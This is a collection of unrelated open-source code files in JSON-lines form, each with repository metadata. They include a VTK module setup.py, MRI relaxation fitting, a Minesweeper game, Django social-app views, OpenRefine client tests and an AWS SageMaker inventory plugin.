https://github.com/pypa/cibuildwheel/discussions/997\n os.getenv('ARCHFLAGS') == '-arch arm64'\n )\n if is_arm:\n # It's an arm64 build\n platform_suffix = 'macosx_11_0_arm64'\n\n dir_name = f'{prefix}-{sdk_version}-{py_version}-{platform_suffix}'\n default_install_path = Path('.').resolve() / f'_deps/{dir_name}'\n install_path = Path(os.getenv('VTK_WHEEL_SDK_INSTALL_PATH',\n default_install_path))\n\n if install_path.exists():\n # It already exists, just return it\n return install_path.as_posix()\n\n # Need to download it\n full_name = f'{prefix}-{sdk_version}-{py_version}-{platform_suffix}.tar.xz'\n url = f'{base_url}{full_name}'\n\n script_path = str(vtk_looking_glass_module_source_dir /\n 'FetchFromUrl.cmake')\n\n cmd = [\n 'cmake',\n f'-DFETCH_FROM_URL_PROJECT_NAME={prefix}',\n f'-DFETCH_FROM_URL_INSTALL_LOCATION={install_path.as_posix()}',\n f'-DFETCH_FROM_URL_URL={url}',\n '-P', script_path,\n ]\n subprocess.check_call(cmd)\n\n return install_path.as_posix()\n\n\ndef auto_download_vtk_external_module():\n # Automatically download the VTKExternalModule repository.\n # Returns the path to the VTKExternalModule directory.\n\n external_module_path = Path('.').resolve() / '_deps/VTKExternalModule'\n if external_module_path.exists():\n # It must have already been downloaded. Just return it.\n return external_module_path.as_posix()\n\n # Run the script to download it\n script_path = str(vtk_looking_glass_module_source_dir /\n 'FetchVTKExternalModule.cmake')\n cmd = [\n 'cmake',\n '-DFETCH_VTKExternalModule_INSTALL_LOCATION=' +\n external_module_path.as_posix(),\n '-P', script_path,\n ]\n subprocess.check_call(cmd)\n return external_module_path.as_posix()\n\n\nvtk_wheel_sdk_path = os.getenv('VTK_WHEEL_SDK_PATH')\nif vtk_wheel_sdk_path is None:\n vtk_wheel_sdk_path = auto_download_vtk_wheel_sdk()\n\n# Find the cmake dir\ncmake_glob = list(Path(vtk_wheel_sdk_path).glob('**/headers/cmake'))\nif len(cmake_glob) != 1:\n raise Exception('Unable to find cmake directory')\n\nvtk_wheel_sdk_cmake_path = cmake_glob[0]\n\nvtk_external_module_path = os.getenv('VTK_EXTERNAL_MODULE_PATH')\nif vtk_external_module_path is None:\n # If it was not provided, clone it into a temporary directory\n # Since we are using pyproject.toml, it will get removed automatically\n vtk_external_module_path = auto_download_vtk_external_module()\n\npython3_executable = os.getenv('Python3_EXECUTABLE')\nif python3_executable is None:\n python3_executable = shutil.which('python')\n\nif python3_executable is None:\n msg = 'Unable find python executable, please set Python3_EXECUTABLE'\n raise Exception(msg)\n\ncmake_args = [\n '-DVTK_MODULE_NAME:STRING=RenderingLookingGlass',\n f'-DVTK_MODULE_SOURCE_DIR:PATH={vtk_looking_glass_module_source_dir}',\n f'-DVTK_MODULE_CMAKE_MODULE_PATH:PATH={vtk_wheel_sdk_cmake_path}',\n f'-DVTK_DIR:PATH={vtk_wheel_sdk_cmake_path}',\n '-DCMAKE_INSTALL_LIBDIR:STRING=lib',\n f'-DPython3_EXECUTABLE:FILEPATH={python3_executable}',\n '-DVTK_WHEEL_BUILD:BOOL=ON',\n '-S', vtk_external_module_path,\n]\n\nif sys.platform == 'linux':\n # We currently have to add this for the render window to get compiled\n cmake_args.append('-DVTK_USE_X:BOOL=ON')\n\n if os.getenv('LINUX_VTK_LOOKING_GLASS_USE_COMPATIBLE_ABI') == '1':\n # If building locally, it is necessary to set this in order to\n # produce a wheel that can be used. Otherwise, the VTK symbols\n # will not match those in the actual VTK wheel.\n cmake_args.append('-DCMAKE_CXX_FLAGS=-D_GLIBCXX_USE_CXX11_ABI=0')\n\nelif sys.platform == 'darwin':\n # We currently have to add this for the render window to get compiled\n cmake_args.append('-DVTK_USE_COCOA:BOOL=ON')\n\n if os.getenv('ARCHFLAGS') == '-arch arm64':\n # We are cross-compiling and need to set CMAKE_SYSTEM_NAME as well.\n # NOTE: we haven't actually succeeded in cross-compiling this module.\n cmake_args.append('-DCMAKE_SYSTEM_NAME=Darwin')\n\nsetup(\n name='vtk-lookingglass',\n description='Looking Glass support for VTK Python.',\n long_description='Looking Glass support for VTK Python.',\n url='',\n author='VTK developers',\n license='MIT',\n classifiers=[\n 'Development Status :: 3 - Alpha',\n 'License :: OSI Approved :: MIT License',\n 'Programming Language :: Python :: 3',\n ],\n keywords='',\n packages=['vtkmodules'],\n package_dir={'vtkmodules': 'lib/vtkmodules'},\n cmake_args=cmake_args,\n install_requires=['vtk==9.2.2'],\n)\n","repo_name":"Kitware/LookingGlassVTKModule","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":6105,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"47"} +{"seq_id":"8555825918","text":"# import packages\nimport re\nfrom nltk.corpus import stopwords\nfrom nltk.stem import WordNetLemmatizer\n\ndef preprocessor(text):\n\n lemmatizer = WordNetLemmatizer()\n \n re_special_characters = re.compile('[/(){}\\[\\]\\|@,;]')\n\n re_bad_characters = re.compile('[^0-9a-z #+_]')\n\n stopwords_set= set(stopwords.words('english'))\n\n text= text.lower()\n\n text= re_special_characters.sub(' ', text)\n\n text= re_bad_characters.sub('', text)\n\n text= ' '.join([lemmatizer.lemmatize(x) for x in text.split() if x and x not in stopwords_set])\n\n return text.strip()","repo_name":"AIDI-2022/TextSummarization","sub_path":"src/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"16425332146","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\npymrt.recipes.t2: T2 transverse relaxation computation.\n\"\"\"\n\n# ======================================================================\n# :: Future Imports\nfrom __future__ import (\n division, absolute_import, print_function, unicode_literals, )\n\n# ======================================================================\n# :: Python Standard Library Imports\n# import itertools # Functions creating iterators for efficient looping\nimport warnings # Warning control\nimport collections # Container datatypes\n\n# :: External Imports\nimport numpy as np # NumPy (multidimensional numerical arrays library)\nimport scipy as sp # SciPy (signal and image processing library)\nimport flyingcircus as fc # Everything you always wanted to have in Python*\n\n# :: External Imports Submodules\nimport scipy.integrate # SciPy: Integration and ODEs\nimport scipy.optimize # SciPy: Optimization and root finding\n\n# :: Local Imports\nimport pymrt as mrt # Python Magnetic Resonance Tools: the multi-tool of MRI\nimport pymrt.correction\n\nfrom pymrt import INFO, PATH\nfrom pymrt import VERB_LVL, D_VERB_LVL, VERB_LVL_NAMES\nfrom pymrt import elapsed, report, run_doctests\nfrom pymrt import msg, dbg, fmt, fmtm\n\nfrom pymrt.recipes import generic\nfrom pymrt.recipes import quality\nfrom pymrt.recipes.generic import (\n fix_phase_interval, rate_to_time, time_to_rate,\n func_exp_decay, fit_exp, fit_exp_loglin, fit_exp_curve_fit,\n fit_exp_quad, fit_exp_diff, fit_exp_quadr, fit_exp_arlo)\n\n\n# ======================================================================\ndef fit_multiecho_mono(\n arr,\n echo_times,\n echo_times_mask=None,\n method='quadr',\n method_kws=None,\n invert_tau=False,\n prepare=mrt.correction.fix_bias_rician):\n \"\"\"\n Calculate the mono-exponential time constant from fit of multi-echo data.\n\n This is also suitable for computing T2 and T2*:\n - T2 from a multi-echo spin echo sequence (ignoring stimulated echoes)\n - T2* from multi-echo FLASH acquisitions.\n\n Args:\n arr (np.ndarray): The input array in arb. units.\n The echo time must vary in the last dimension and must match the\n length of `echo_times`.\n echo_times (Iterable): The echo times in time units.\n The number of points must match the last shape size of arr.\n echo_times_mask (Iterable[bool]|None): Determine the echo times to use.\n If None, all will be used.\n method (str): Determine the fitting method to use.\n See `recipes.generic.fit_exp()` for more info.\n method_kws (Mappable|None): Keyword arguments to pass to `method`.\n invert_tau (bool): Invert tau results to convert times to rates.\n Assumes that units of time is ms and units of rates is Hz.\n prepare (callable|None): Input array preparation.\n Must have the signature: f(np.ndarray) -> np.ndarray.\n Useful for data pre-whitening, including for example the\n correction of magnitude data from Rician mean bias.\n\n Returns:\n t2_arr (np.ndarray): The output array.\n \"\"\"\n # data pre-whitening\n arr = prepare(arr) if prepare else arr.astype(float)\n # compute t2\n t2_arr = fit_exp(\n arr, echo_times, echo_times_mask, method, method_kws)['tau']\n # compute relaxation rates instead of times.\n if invert_tau:\n t2_arr = time_to_rate(t2_arr, 'ms', 'Hz')\n return t2_arr\n\n\n# ======================================================================\ndef _test(use_cache=True):\n # x = np.linspace(1, 40, 5)\n x = np.array([2, 5, 7, 20, 40])\n tau_arr = np.linspace(2, 1000, 4000)\n a_arr = np.linspace(500, 4000, 4000)\n\n import pymrt.util\n import os\n\n\n base_dir = fc.realpath('~/hd1/TEMP')\n filepath = os.path.join(base_dir, 'tau_arr.npz')\n if os.path.isfile(filepath) and use_cache:\n y = np.load(filepath)['y']\n else:\n y = np.zeros((len(tau_arr), len(a_arr), len(x)))\n for i, a in enumerate(a_arr):\n for j, tau in enumerate(tau_arr):\n y[j, i] = func_exp_decay(x, tau, a)\n np.savez(filepath, y=y)\n\n def eval_dist(a, b, axis=-1):\n mu = np.nanmean(a, axis) - b\n std = np.nanstd(a, axis)\n return np.mean(mu), np.mean(std)\n\n elapsed('gen_tau_phantom')\n\n snr = 20\n p = 1 / snr\n n = np.max(a_arr) * p * (np.random.random(y.shape) - 0.5)\n\n m = [True, True, False, False, False]\n\n # print(fit_exp_loglin(y + n, x)['tau'])\n # print(fit_exp_loglin(y + n, x, weighted=False)['tau'])\n # print(fit_exp_tau_quadr(y + n, x))\n\n print('quad', eval_dist(fit_exp_quad(y + n, x, m)['tau'], tau_arr))\n elapsed('quad')\n\n print('diff', eval_dist(fit_exp_diff(y + n, x, m)['tau'], tau_arr))\n elapsed('diff')\n\n print('quadr', eval_dist(fit_exp_quadr(y + n, x, m)['tau'], tau_arr))\n elapsed('quadr')\n\n print('quadr_w2',\n eval_dist(fit_exp_quadr(y + n, x, m, window_size=2)['tau'], tau_arr))\n elapsed('quadr_w2')\n\n print('quadr_w3',\n eval_dist(fit_exp_quadr(y + n, x, m, window_size=3)['tau'], tau_arr))\n elapsed('quadr_w3')\n\n print('arlo', eval_dist(fit_exp_arlo(y + n, x, m)['tau'], tau_arr))\n elapsed('arlo')\n\n print('loglin', eval_dist(fit_exp_loglin(y + n, x, m)['tau'], tau_arr))\n elapsed('loglin')\n\n print(\n 'loglin_w',\n eval_dist(\n fit_exp_loglin(y + n, x, m, variant='weighted_reverse')['tau'],\n tau_arr))\n elapsed('loglin_w')\n\n # print('leasq',\n # eval_dist(fit_exp_curve_fit(y + n, x, init=[5, 4000])['tau'],\n # tau_arr))\n # elapsed('leasq')\n\n msg(report())\n\n\n# ======================================================================\nelapsed(__file__[len(PATH['base']) + 1:])\n\n# ======================================================================\nif __name__ == '__main__':\n run_doctests(__doc__)\n","repo_name":"norok2/pymrt","sub_path":"pymrt/recipes/t2.py","file_name":"t2.py","file_ext":"py","file_size_in_byte":5951,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"47"} +{"seq_id":"33796114677","text":"from copy import copy\n\nfrom twisted.internet import reactor\n\nfrom justrelax.core.logging_utils import logger\nfrom justrelax.core.node import MagicNode, on_event\nfrom justrelax.node.holographic_menu.vlc_player import VLCDynamicSlidesPlayer\n\n\nclass HolographicMenu(MagicNode):\n def __init__(self, *args, **kwargs):\n super(HolographicMenu, self).__init__(*args, **kwargs)\n\n path = self.config['path']\n initial_slides = copy(self.config['initial_slides'])\n chapters = self.config['chapters']\n\n self.player = VLCDynamicSlidesPlayer(\n media_path=path, initial_slides=initial_slides, chapters=chapters, service=self)\n\n reactor.callLater(1, self.event_play)\n\n def notify_slide(self, slide_index):\n self.publish({\"category\": \"play_slide\", \"slide\": slide_index})\n\n def play_pause_stop(self, action, method_name, delay):\n if not isinstance(delay, (int, float)):\n raise TypeError(\"Delay must be int or float (received={}): skipping\".format(delay))\n\n logger.info(\"{} video\".format(action))\n\n reactor.callLater(delay, getattr(self.player, method_name))\n\n @on_event(filter={'category': 'play'})\n def event_play(self, delay=0):\n self.play_pause_stop(\"Playing\", \"play\", delay)\n\n @on_event(filter={'category': 'pause'})\n def event_pause(self, delay=0):\n self.play_pause_stop(\"Pausing\", \"pause\", delay)\n\n @on_event(filter={'category': 'stop'})\n def event_stop(self, delay=0):\n self.play_pause_stop(\"Stopping\", \"stop\", delay)\n\n @on_event(filter={'category': 'set_slide'})\n def event_set_slide(self, slide_index: int, chapter_id: str):\n if slide_index >= len(self.player.slides):\n raise ValueError(\"Video has only {} slides ({} is out of range): skipping\".format(\n len(self.player.slides), slide_index))\n\n concatenated_chapter_id = f\"{chapter_id}_{slide_index + 1}\"\n\n if concatenated_chapter_id not in self.player.chapters:\n raise ValueError(\"Video has no chapter id={}: skipping\".format(\n concatenated_chapter_id))\n\n logger.info(\"Setting chapter id={} in slide index={}\".format(\n concatenated_chapter_id, slide_index))\n\n self.player.set_slide(slide_index, concatenated_chapter_id)\n\n @on_event(filter={'category': 'reset'})\n def event_reset(self):\n logger.info(\"Reset\")\n for slide_index, chapter_id in enumerate(self.config['initial_slides']):\n self.player.set_slide(slide_index, chapter_id)\n","repo_name":"just-escape/justrelax","sub_path":"contrib/digimiam/holographic_menu/justrelax/node/holographic_menu/node.py","file_name":"node.py","file_ext":"py","file_size_in_byte":2546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"17097926228","text":"'''\nCreated on 13.01.2016\n\n@author: Asthmet\n'''\nimport plot_class\nimport random\n\nclass Minesweeper:\n\n ''' Constructor of the class: start the game for you '''\n def __init__( self, lines = 10, cols = 10 ):\n self._lines = lines\n self._cols = cols\n self._map = [ [plot_class.Plot() for i in range(cols) ] for j in range(lines) ]\n\n ''' Returns the display of the cell '''\n def getCell( self, x, y ):\n var = self._map[x][y]\n return var.getIndicator( trueSight = True )\n\n ''' Display the whole map for the player '''\n def displayMap( self, trueSight = False ):\n count = 0\n for line in self._map:\n print( ' ', sep = '', end = '' )\n for col in line:\n if col.getIndicator(trueSight = True) == plot_class.c_mine :\n count += 1\n print( col.getIndicator( trueSight = trueSight ), sep = '', end = '' )\n print( ' ', sep = '', end = '' )\n print( )\n print( 'Total : ' + str(count) + ' mines' + ' - Format: ' + str(self._cols) + 'x' + str(self._lines) + '\\n' )\n\n ''' Add a random bomb to the map '''\n def randomBomb( self ):\n x = random.randrange( self._lines )\n y = random.randrange( self._cols )\n\n if self.getCell( x, y ) == plot_class.c_mine :\n self.randomBomb()\n else :\n self._map[x][y].setMine()\n\n ''' Generate as much bombs as specified '''\n def carpetBomb( self, n = 10 ):\n for i in range(n):\n self.randomBomb()\n\n ''' Pass through every plot to determine its indicator value '''\n ''' Run this only once after doing the carpet bomb'''\n def scanMap( self ):\n for i, line in enumerate( self._map ) :\n for j, p in enumerate( line ) :\n count = 0\n if p.getIndicator(trueSight = True) == plot_class.c_mine :\n continue\n else :\n # up left\n if i-1 >= 0 and j-1 >= 0 :\n if self.getCell( i-1, j-1 ) == plot_class.c_mine :\n count += 1\n # up top\n if i-1 >= 0 :\n if self.getCell( i-1, j ) == plot_class.c_mine :\n count += 1\n # up right\n if i-1 >= 0 and j+1 < self._cols :\n if self.getCell( i-1, j+1 ) == plot_class.c_mine :\n count += 1\n # left\n if j-1 >= 0 :\n if self.getCell( i, j-1 ) == plot_class.c_mine :\n count += 1\n # right\n if j+1 < self._cols :\n if self.getCell( i, j+1 ) == plot_class.c_mine :\n count += 1\n # down left\n if i+1 < self._lines and j-1 >= 0 :\n if self.getCell( i+1, j-1 ) == plot_class.c_mine :\n count += 1\n # down bottom\n if i+1 < self._lines :\n if self.getCell( i+1, j ) == plot_class.c_mine :\n count += 1\n # down right\n if i+1 < self._lines and j+1 < self._cols :\n if self.getCell( i+1, j+1 ) == plot_class.c_mine :\n count += 1\n\n p.setIndicator( str(count) )\n\n ''' Give the player the first start into the game '''\n def showClue( self ):\n x = random.randrange( self._lines )\n y = random.randrange( self._cols )\n\n if self.getCell( x, y ) != plot_class.c_empty :\n self.showClue()\n else :\n self._map[x][y].revealPlot()\n self.propagateDiscovery(x, y)\n\n ''' When a empty plot is found, we look for other similar neighbor '''\n def propagateDiscovery( self, x, y ):\n if self.getCell(x, y) == plot_class.c_empty :\n\n # Reveal the plot and propagate to the neighbors\n self._map[x][y].revealPlot()\n\n # up left\n if x-1 >= 0 and y-1 >= 0 and self._map[x-1][y-1].revealed == False :\n self.propagateDiscovery(x-1, y-1)\n\n # up top\n if x-1 >= 0 and self._map[x-1][y].revealed == False :\n self.propagateDiscovery(x-1, y)\n\n # up right\n if x-1 >= 0 and y+1 < self._cols and self._map[x-1][y+1].revealed == False :\n self.propagateDiscovery(x-1, y+1)\n\n # left\n if y-1 >= 0 and self._map[x][y-1].revealed == False :\n self.propagateDiscovery(x, y-1)\n\n # right\n if y+1 < self._cols and self._map[x][y+1].revealed == False :\n self.propagateDiscovery(x, y+1)\n\n # down left\n if x+1 < self._lines and y-1 >= 0 and self._map[x+1][y-1].revealed == False :\n self.propagateDiscovery(x+1, y-1)\n\n # down bottom\n if x+1 < self._lines and self._map[x+1][y].revealed == False :\n self.propagateDiscovery(x+1, y)\n\n # down right\n if x+1 < self._lines and y+1 < self._cols and self._map[x+1][y+1].revealed == False :\n self.propagateDiscovery(x+1, y+1)\n\n else :\n # just reveat the plot\n self._map[x][y].revealPlot()\n\n ''' '''\n def findUnsolvable( self ):\n for i, line in enumerate( self._map ) :\n for j, p in enumerate( line ) :\n if self.getCell(i, j) == plot_class.c_empty and self._map[i][j].revealed == False :\n self.propagateDiscovery(i, j)\n\n\n#----------------------\n# Creating the application\nprogram = Minesweeper( lines = 16, cols = 30 )\nprogram.carpetBomb(50)\nprogram.scanMap()\nprogram.displayMap( trueSight = True )\n#program.findUnsolvable()\nprogram.propagateDiscovery( 0, 0)\nprogram.displayMap()\n","repo_name":"Asthmet/pysweeper","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"25053929407","text":"import unittest\n\nfrom google.refine import refine\n\n\nclass RefineRowsTest(unittest.TestCase):\n def test_rows_response(self):\n rr = refine.RowsResponseFactory({\n u'gender': 3, u'state': 2, u'purchase': 4, u'email': 0,\n u'name': 1})\n response = rr({\n u'rows': [{\n u'i': 0,\n u'cells': [\n {u'v': u'danny.baron@example1.com'},\n {u'v': u'Danny Baron'},\n {u'v': u'CA'},\n {u'v': u'M'},\n {u'v': u'TV'}\n ],\n u'starred': False,\n u'flagged': False\n }],\n u'start': 0,\n u'limit': 1,\n u'mode': u'row-based',\n u'filtered': 10,\n u'total': 10,\n })\n self.assertEqual(len(response.rows), 1)\n # test iteration\n rows = [row for row in response.rows]\n self.assertEqual(rows[0]['name'], 'Danny Baron')\n # test indexing\n self.assertEqual(response.rows[0]['name'], 'Danny Baron')\n\n\nclass RefineProjectTest(unittest.TestCase):\n def setUp(self):\n # Mock out get_models so it doesn't attempt to connect to a server\n self._get_models = refine.RefineProject.get_models\n refine.RefineProject.get_models = lambda me: me\n # Save REFINE_{HOST,PORT} as tests overwrite it\n self._refine_host_port = refine.REFINE_HOST, refine.REFINE_PORT\n refine.REFINE_HOST, refine.REFINE_PORT = '127.0.0.1', '3333'\n\n def test_server_init(self):\n RP = refine.RefineProject\n p = RP('http://127.0.0.1:3333/project?project=1658955153749')\n self.assertEqual(p.server.server, 'http://127.0.0.1:3333')\n self.assertEqual(p.project_id, '1658955153749')\n p = RP('http://127.0.0.1:3333', '1658955153749')\n self.assertEqual(p.server.server, 'http://127.0.0.1:3333')\n self.assertEqual(p.project_id, '1658955153749')\n p = RP('http://server/varnish/project?project=1658955153749')\n self.assertEqual(p.server.server, 'http://server/varnish')\n self.assertEqual(p.project_id, '1658955153749')\n p = RP('1658955153749')\n self.assertEqual(p.server.server, 'http://127.0.0.1:3333')\n self.assertEqual(p.project_id, '1658955153749')\n refine.REFINE_HOST = '10.0.0.1'\n refine.REFINE_PORT = '80'\n p = RP('1658955153749')\n self.assertEqual(p.server.server, 'http://10.0.0.1')\n\n def tearDown(self):\n # Restore mocked get_models\n refine.RefineProject.get_models = self._get_models\n # Restore values for REFINE_{HOST,PORT}\n refine.REFINE_HOST, refine.REFINE_PORT = self._refine_host_port\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"paulmakepeace/refine-client-py","sub_path":"tests/test_refine_small.py","file_name":"test_refine_small.py","file_ext":"py","file_size_in_byte":2786,"program_lang":"python","lang":"en","doc_type":"code","stars":173,"dataset":"github-code","pt":"47"} +{"seq_id":"38253199892","text":"from django.shortcuts import render, redirect\nfrom django.http import JsonResponse\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth import login, logout, authenticate\nfrom .models import Profile\nfrom django.views.decorators.csrf import csrf_exempt\nfrom .forms import profileForm, UserProfile\nfrom core.forms import PostCreation, HistoryCreation\nfrom core.models import SavePost, Post, Histories\nfrom core.utils import createNotifications\nfrom django.contrib import messages\nfrom inbox.models import Message\n\n\ndef session_login(request):\n loginPage = True\n if request.method == \"POST\":\n name = request.POST.get('username')\n password = request.POST.get('password')\n user = authenticate(request, username = name, password = password)\n if user is not None:\n login(request, user)\n return redirect('home')\n else:\n print('---------------------------------------------')\n messages.error(request, 'El usuario o la contrasela son incorretos')\n\n return render (request, 'usuarios/session-login.html', {'login' : loginPage})\n\ndef session_logOut(request):\n logout(request)\n return redirect ('login')\n\ndef session_register(request):\n loginPage = False\n form = profileForm()\n if request.method == 'POST':\n form = profileForm(request.POST)\n if form.is_valid():\n user = form.save()\n profile = Profile.objects.create(\n user = user,\n name = user.first_name,\n email = user.email\n )\n me = Profile.objects.get(id = 1)\n post = Post.objects.get(id = 1)\n Message.objects.create( sender = me, received = profile, postsended = post )\n \n Message.objects.create( sender = me, received = profile, body = f'Bienvenido \"{profile.name}\", cualquier consulta no dudes en preguntar')\n \n login(request, user)\n return redirect('home')\n return render (request, 'usuarios/session-login.html', {\n 'login' : loginPage, 'form' : form,\n })\n\n# perfil del usuario\n@csrf_exempt\ndef profile_page(request, pk):\n try:\n user = User.objects.get(id = pk)\n profile = Profile.objects.get(user = user)\n post = Post.objects.filter(host = profile)\n savedPost = SavePost.objects.filter(user = user)\n postTagged = Post.objects.filter(tagged = user)\n storyUser = Histories.objects.filter(user = profile)\n if not savedPost:\n savedPost = []\n except:\n return redirect('login')\n if request.method == 'POST':\n if request.user.is_authenticated:\n action = request.POST.get('action')\n if request.user != user:\n me = Profile.objects.get(user = request.user)\n if action == 'Follow':\n me.follow.add(user)\n profile.followers.add(request.user)\n createNotifications(request.user, user, type=1, post=None)\n else:\n me.follow.remove(user)\n profile.followers.remove(request.user)\n return JsonResponse({\n 'status' : 'hecho', 'followers' : profile.followers.all().count(),\n 'id' : pk, 'type' : action, 'user' : user.username\n }, safe=False) \n try:\n me = Profile.objects.get(user = request.user)\n except:\n me = ''\n return render(request, 'usuarios/profile.html', {\n 'profile' : profile, 'user' : user, 'me' : me, \n 'savedPost' :savedPost, 'posttagged' : postTagged,\n 'form' : PostCreation(), 'formStory' : HistoryCreation(),\n 'stories' : storyUser, 'posts' : post\n })\n\ndef edit_profile(request, pk):\n user = Profile.objects.get(id = pk)\n if user.user != request.user:\n return redirect('home')\n form = UserProfile(instance=user)\n if request.method == 'POST':\n form = UserProfile(request.POST, request.FILES, instance=user)\n if form.is_valid():\n form.save()\n return redirect('/profile/' + str(request.user.id))\n else:\n print(request.FILES)\n return redirect('home')\n return render(request, 'usuarios/edit_profile.html', {'form' : form})","repo_name":"facuCogliati/instagram-copy","sub_path":"usuarios/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"36086041882","text":"from aoc_components.input_getter import get_my_input\nfrom aoc_components.int_code_computer import IntCodeComputer\nfrom aoc_components.screen import Screen, Transform\n\npuzzle_input = get_my_input(2019, 13)\n\n\ndef part_1():\n parts = []\n screen = Screen(transform=Transform.ORIGIN_TOP_LEFT,\n char_map={0: \" \", 1: Screen.FULL_BLOCK, 2: \"#\", 3: \"-\", 4: \"o\"}, )\n score = 0\n\n def _out(i: int):\n parts.append(i)\n\n if len(parts) == 3:\n x, y, o = parts\n screen[x, y] = o\n parts.clear()\n\n arcade = IntCodeComputer(puzzle_input, async_inputs=True, output_consumer=_out, )\n\n arcade.run()\n blocks = len(list(screen.find(2)))\n print(f\"Part 1:{blocks}\")\n\n\ndef part_2():\n parts = []\n screen = Screen(transform=Transform.ORIGIN_TOP_LEFT,\n char_map={0: \" \", 1: Screen.FULL_BLOCK, 2: \"#\", 3: \"-\", 4: \"o\"}, )\n score = [0]\n\n def _out(i: int):\n parts.append(i)\n\n if len(parts) == 3:\n x, y, o = parts\n if (x, y) == (-1, 0):\n score[0] = o\n parts.clear()\n else:\n screen[x, y] = o\n parts.clear()\n\n arcade = IntCodeComputer(puzzle_input, async_inputs=True, output_consumer=_out, )\n arcade.code[0] = 2\n blocks = float('inf')\n ball = (0, 0)\n paddle = (0, 0)\n while not (arcade.halt or blocks == 0):\n arcade.run()\n\n blocks = len(list(screen.find(2)))\n ball = next(screen.find(4))[0]\n paddle = next(screen.find(3))[0]\n new = ball[0] - paddle[0]\n if new != 0:\n new = new // abs(new)\n arcade.input(new)\n print(f\"Part 2:{score[0]}\")\n\n\nif __name__ == '__main__':\n part_1()\n part_2()\n\n","repo_name":"GsakuL/AdventOfCode","sub_path":"2019/day13.py","file_name":"day13.py","file_ext":"py","file_size_in_byte":1762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"15121386922","text":"from par_segmentation import *\nimport pytest\nimport os\nimport numpy as np\n\n\nclass TestDeCorrectTests:\n \"\"\"\n Making sure results from differential evolution optimiser are as expected\n Note: if underlying algorithm is changed, or default parameters are changed, tests may fail\n\n \"\"\"\n\n path = os.path.dirname(os.path.abspath(__file__)) + \"/../scripts\"\n imgs = [\n load_image(\n os.path.dirname(os.path.abspath(__file__))\n + \"/../scripts/nwg338_af_corrected.tif\"\n ),\n ]\n rois = [\n np.loadtxt(\n os.path.dirname(os.path.abspath(__file__))\n + \"/../scripts/nwg338_ROI_manual.txt\"\n ),\n ]\n\n def test_1(self):\n # Correct results when quantifying the image\n np.random.seed(12345) # <- as it uses a stochastic algorithm\n iq = ImageQuant(img=self.imgs[0], roi=self.rois[0], method=\"DE\", verbose=False)\n iq.run()\n res = iq.compile_res()\n\n assert res.iloc[0][\"Frame\"] == 0\n assert res.iloc[0][\"Position\"] == 0\n assert res.iloc[0][\"Membrane signal\"] == pytest.approx(7334.072755561494, rel=1e-4)\n assert res.iloc[0][\"Cytoplasmic signal\"] == pytest.approx(7155.67389350451, rel=1e-4)\n assert iq.roi[0][0, 0] == pytest.approx(181.42341900410696, rel=1e-4)\n","repo_name":"goehringlab/par-segmentation","sub_path":"tests/test_de_correct.py","file_name":"test_de_correct.py","file_ext":"py","file_size_in_byte":1308,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"33405992116","text":"# -*- coding: utf-8 -*-\nfrom typing import Any, Dict\nfrom matos_aws_provider.lib import factory\nfrom matos_aws_provider.lib.base_provider import BaseProvider\n\n\nclass AwsSagemaker(BaseProvider):\n \"\"\"AWS sagemaker plugin\"\"\"\n\n def __init__(self, resource: Dict, **kwargs) -> None:\n \"\"\"\n Construct cloudtrail service\n \"\"\"\n\n super().__init__(**kwargs, client_type=\"sagemaker\")\n self.sagemaker_instance = resource\n\n def get_inventory(self) -> Any:\n \"\"\"Get inventory assets\"\"\"\n\n resources = self.conn.list_notebook_instances().get(\"NotebookInstances\")\n resources = [{**resource, \"type\": \"sagemaker\"} for resource in resources]\n return resources\n\n def get_resources(self) -> Any:\n \"\"\"\n Fetches instance details.\n\n Args:\n instance_id (str): Ec2 instance id.\n return: dictionary object.\n \"\"\"\n sagemaker_instance = None\n if self.sagemaker_instance.get(\"NotebookInstanceName\") is not None:\n sagemaker_instance = {\n **self.sagemaker_instance,\n **self.describe_notebook_instance(\n self.sagemaker_instance.get(\"NotebookInstanceName\")\n ),\n }\n\n return sagemaker_instance\n\n def describe_notebook_instance(self, instance_name):\n \"\"\"Describe notebook instance\"\"\"\n resp = self.conn.describe_notebook_instance(NotebookInstanceName=instance_name)\n if \"ResponseMetadata\" in resp:\n del resp[\"ResponseMetadata\"]\n return resp\n\n\ndef register() -> None:\n \"\"\"Register plugin\"\"\"\n factory.register(\"sagemaker\", AwsSagemaker)\n","repo_name":"cloudmatos/matos-aws-provider","sub_path":"src/matos_aws_provider/plugins/sagemaker.py","file_name":"sagemaker.py","file_ext":"py","file_size_in_byte":1665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"2282740537","text":"from distutils.core import setup\n\nimport setuptools\n\n\ndef readme() -> str:\n with open(r\"README.md\") as f:\n README = f.read()\n return README\n\n\nwith open(\"requirements.txt\", \"r\") as f:\n reqs = [line.strip() for line in f]\n\n\nsetup(\n name=\"pywhatkit\",\n packages=setuptools.find_packages(),\n version=\"5.4.1\",\n license=\"MIT\",\n description=\"PyWhatKit is a Simple and Powerful WhatsApp Automation Library with many useful Features\",\n author=\"Ankit Raj Mahapatra\",\n author_email=\"ankitrajjitendra816@gmail.com\",\n url=\"https://github.com/Ankit404butfound/PyWhatKit\",\n download_url=\"https://github.com/Ankit404butfound/PyWhatKit/archive/refs/tags/5.2.1.zip\",\n keywords=[\"sendwhatmsg\", \"info\", \"playonyt\", \"search\", \"watch_tutorial\"],\n 